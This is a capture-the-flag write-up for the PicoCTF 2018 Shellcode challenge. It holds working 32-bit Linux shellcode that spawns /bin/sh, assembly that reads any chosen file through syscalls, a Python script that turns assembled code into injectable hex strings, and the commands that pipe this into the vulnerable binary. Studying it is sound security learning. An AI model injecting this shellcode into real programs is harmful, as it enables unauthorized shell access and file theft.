PicoCTF 2018 - Shellcode
Introduction
This is a addition to the series on the PicoCTF 2018 challenges I have completed so far. You can find the previous write-up here. You can find a collection of other write-ups in this series on the home page or through the related posts below this post.
In this post I will be expanding my write-up for the Shellcode challenge, that asks you to inject some assembled code into the program via standard input. Checkout the Shellcode paragraph in my writeup on challenges 41 through 45, which will contain the full context of this article.
Shellcode
Let's first start out with a definition from the most ahem trusted website on the internet, Wikipedia: Shellcode:
In hacking, a shellcode is a small piece of code used as the payload in the exploitation of a software vulnerability. It is called "shellcode" because it typically starts a command shell from which the attacker can control the compromised machine, but any piece of code that performs a similar task can be called shellcode.
So in essence, it's a piece of arbitrary compiled code that can be injected into a program to typically spawn a shell into the operating system the program is running on. This is often useful if the binary in question either has the setuid or setgid bits set in its permissions (allowing you to take those permissions with you in an interactive shell). It's also particularly useful if you don't have a shell at all, and you can get one through the vulnerable program.
In the aforementioned write-up of the Shellcode challenge, we did exactly that; we spawn a shell (/bin/sh
) and use that to our advantage to read the flag.txt
file which contains the flag we needed. But we could've also used a bigger piece of shellcode to read the flag.txt
file directly and simply omit the shell. This is possible, because the vulnerable program has a rather large buffer for our shellcode: 148 bytes.
Spawn a Shell
Let's quickly recap what we did in the write-up. We assembled a bit of code that allows us to spawn a shell through a syscall on 32-bit Linux. We serialized the instructions produced by the assembler as a string that can be interpreted in i.e. Python or Bash:
xor eax, eax ; eax = 0, terminating NUL
push eax ; push 0 to stack, end of path string
push 0x68732f2f ; push //sh to stack as 32 bit integer
push 0x6e69622f ; push /bin to stack as 32 bit integer, /bin//sh\0 done!
mov ebx, esp ; move stack pointer to ebx, ebx is param for sys_execve!
mov ecx, eax ; ecx = 0 for sys_execve
mov edx, eax ; edx = 0 for sys_execve
mov al, 0xb ; eax = 11 = sys_execve
int 0x80 ; syscall sys_execve with param in ebx (/bin//sh\0)
xor eax, eax ; eax = 0
inc eax ; eax = 1 = sys_exit
int 0x80 ; syscall sys_exit, clean exit to prevent segfault
Which when assembled could be used like:
(echo -en "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\n"; cat) | ./vuln
This gave us exactly what we needed to get the flag, a shell with the same permissions as the vulnerable program. The vulnerable program has permissions to read flag.txt
, so we can simply cat flag.txt
. Done! Now let's expand on that and let our shellcode actually read the file.
Read a File
In realistic situations, the previous solution is the best solution. Even if you find a vulnerability which allows you to execute arbitrary shellcode, most of the time you have almost no space for a long chunk of code. This is why starting a shell in only a few bytes like the code above is the best option.
In this specific case though, we are able to use much more space for our shell code. 148 bytes is a lot of leeway, we can actually have our shell code read our flag.txt
file and write it out to stdout
all by using Linux system calls.
Let's first look at the system calls we're going to use:
Name | eax | ebx | ecx | edx | |
---|---|---|---|---|---|
sys_exit | 0x01 |
int error_code |
exit application | ||
sys_read | 0x03 |
unsigned int file_descriptor |
char *buff |
size_t count |
read data from fd to buff |
sys_write | 0x04 |
unsigned int file_descriptor |
const char *buff |
size_t count |
write data from buff to fd |
sys_open | 0x05 |
const char *filename |
int flags |
int mode |
open file and return fd |
You can use sys_open
to open a file and get a file descriptor we can read from. Then data can be read from that file using sys_read
, which in my assembly code below I do one byte at a time so that I use minimal memory on stack. sys_write
will then be used to write that same byte to the file descriptor of stdout
, which is 1
. sys_exit
will be used to exit the application and stop further execution, considering it might cause a segmentation fault.
Using these system calls we get the next (reasonably short) assembly code that does it all:
[SECTION .text]
global _start
; entrypoint
_start:
; clear registers, mostly because we're using them
; in syscalls as parameters
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
; jump to end of code where filename resides
jmp stub
openf:
; pop ebx to place the location of flag.txt
; into that specific register, used for
; sys_open. This works because the 'flag.txt'
; string is the return address of openf
pop ebx
; call sys_open (5)
mov al, byte 5 ; syscall 5, open
xor ecx, ecx
int 0x80
; move the file descriptor (eax) in esi and read
mov esi, eax
jmp readloop
readloop:
; move the file descriptor in ebx for sys_read (3)
mov ebx, esi
mov al, byte 3 ; syscall 3, read
sub esp, 1 ; reserve memory on stack for read byte
lea ecx, [esp] ; load effective address of that memory
mov dl, byte 1 ; read count, 1 byte
int 0x80 ; call read
; if num read bytes = 0, exit
xor ebx, ebx
cmp ebx, eax
je exit
; write byte to fd 1 (stdout) using syscall 4, write
; the address of data is still in ecx
mov al, 4 ; syscall 4, write
mov bl, 1 ; file descriptor 1, stdout
mov dl, 1 ; write count, 1 byte
int 0x80 ; call write (4)
; clear byte and continue
add esp, 1
jmp readloop
exit:
; terminate application using exit syscall (1)
mov al, byte 1
xor ebx, ebx
int 0x80 ; call exit (1)
stub:
; call the routine that opens and reads the flag
call openf
; place any file(path|name) here that is accessible from the
; target program. You can also replace this value in the resulting
; shell code later, to be able to read any file. This data is added as
; instructions, but is unreachable by our code but we can get its
; address by popping a register it needs to be placed in
db 'flag.txt'
Assembling the Code
Before you can inject this code in anything vulnerable, it needs to be assembled to machinecode. This is possible in several ways. One way is by doing it completely manually, by invoking nasm
, ld
and objdump
. Let's demonstrate it that way first. I'll be doing this on a 64-bit Linux installation, however target the i386 architecture:
# produce catflag.o
nasm -f elf32 catflag.asm
# produce catflag executable
ld -m elf_i386 -o catflag catflag.o
# disassemble and show instructions
objdump -d catflag
This will output the disassembled code in a nice readable format, but a very inconvenient format for us to produce a string of machinecode we can inject. Here is the (truncated) output of the above objdump
command:
catflag: file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
8048060: 31 c0 xor %eax,%eax
8048062: 31 db xor %ebx,%ebx
8048064: 31 c9 xor %ecx,%ecx
8048066: 31 d2 xor %edx,%edx
8048068: eb 32 jmp 804809c <stub>
0804806a <openf>:
804806a: 5b pop %ebx
804806b: b0 05 mov $0x5,%al
804806d: 31 c9 xor %ecx,%ecx
804806f: cd 80 int $0x80
8048071: 89 c6 mov %eax,%esi
8048073: eb 00 jmp 8048075 <readloop>
So it would be nice if a Python script could convert this output to a collection of hex-encoded machinecode we can simply place in a string in Python or Bash, like we did in the shellcode to start a shell above. Here's that code:
from sys import argv
import subprocess # Popen, PIPE, call
import tempfile # Get random names for temp files
import os # path functions, remove function
import re # regular expression matching
# Supported architectures by this code, you can add more
architectures = {
"32": "elf_i386",
"64": "elf_x86_64"
}
def nasm(in_file, arch):
'''
Assemble in_file to object file using a specific architecture, nasm is
required to be installed for this function.
'''
temp_object = "/tmp/" + next(tempfile._get_candidate_names())
subprocess.call(["nasm", "-f", "elf" + arch, "-o", temp_object, in_file])
return temp_object
def ld(in_file, arch):
'''
System linker; convert the object file to an executable that has the right
offsets. We'll be disassembling the output of ld.
'''
arch = architectures[arch]
temp_output = "/tmp/" + next(tempfile._get_candidate_names())
subprocess.call(["ld", "-m", arch, "-o", temp_output, in_file])
return temp_output
def objdump(in_file):
'''
objdump disassembles our resulting binary and produces a string that can
be used in Python or Bash to inject into the target process
'''
process = subprocess.Popen(["objdump", "-d", in_file], stdout=subprocess.PIPE)
(output, error) = process.communicate()
exit_code = process.wait()
output = output.decode("utf-8")
result = ""
# pattern1: match each line of assembly up to the assembly syntax
pattern1 = re.compile(r'\s+([0-9a-f]+):\s*([0-9a-f ]+)\s{2}')
pattern2 = re.compile(r'([0-9a-f]+)\s{1}')
# find each line with instructions
for (address, match) in re.findall(pattern1, output):
# find each opcode in hex representation
for opcode in re.findall(pattern2, match):
result += "\\x" + opcode
# return nice hex encoded machinecode
return result
# determine number of cli arguments
argc = len(argv)
# at least the input file is required
if (argc < 2):
print("error: a minimum of 1 argument is required for this command")
exit()
in_file = argv[1]
# default to 32-bit, allow 64-bit
arch = "32"
if (argc >= 3):
arch = argv[2]
if (arch != "32" and arch != "64"):
print("error: invalid architecture, only 32 or 64 are supported right now")
exit()
# assemble code, produce executable with .text section and extract that as binary
object_file = nasm(in_file, arch)
output_file = ld(object_file, arch)
output_hexs = objdump(output_file)
# display string that is usable in bash and python
print("\"" + output_hexs + "\"")
# clean up
for f in [object_file, output_file]:
if (os.path.isfile(f)):
os.remove(f)
Running the code is fairly straightforward, from the same directory as your assembly source code:
python3 shellcode-assemble.py catflag.asm 32
# "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74"
This output can be directly injected into the vuln
program. I would suggest to add a \n
to the end of this string so that gets
in vuln
completes. When we do that and use the same echo -en
command we used before in the problem directory, we get the flag:
echo -en "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff\x66\x6c\x61\x67\x2e\x74\x78\x74\n" | ./vuln
# Enter a string!
# 1¦1¦1¦1¦¦2[¦1¦?¦¦¦
# Thanks! Executing now...
# picoCTF{shellc0de_w00h00_b766002c}
Another possibility is replacing the last 8 bytes (the length of flag.txt
) with any file path you desire to read, the injected code will then simply read it (if it has the appropriate permissions):
echo -en "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x32\x5b\xb0\x05\x31\xc9\xcd\x80\x89\xc6\xeb\x00\x89\xf3\xb0\x03\x83\xec\x01\x8d\x0c\x24\xb2\x01\xcd\x80\x31\xdb\x39\xc3\x74\x0d\xb0\x04\xb3\x01\xb2\x01\xcd\x80\x83\xc4\x01\xeb\xdf\xb0\x01\x31\xdb\xcd\x80\xe8\xc9\xff\xff\xff./vuln.c\n" | ./vuln
# Enter a string!
# 1▒1▒1▒1▒▒2[▒1▒̀▒▒▒
# Thanks! Executing now...
# #include <stdio.h>
# #include <stdlib.h>
# #include <string.h>
# #include <unistd.h>
# #include <sys/types.h>
# ... and the rest of the vuln.c source
Shellcode is pretty cool, so be sure to prevent it from happening to your own software!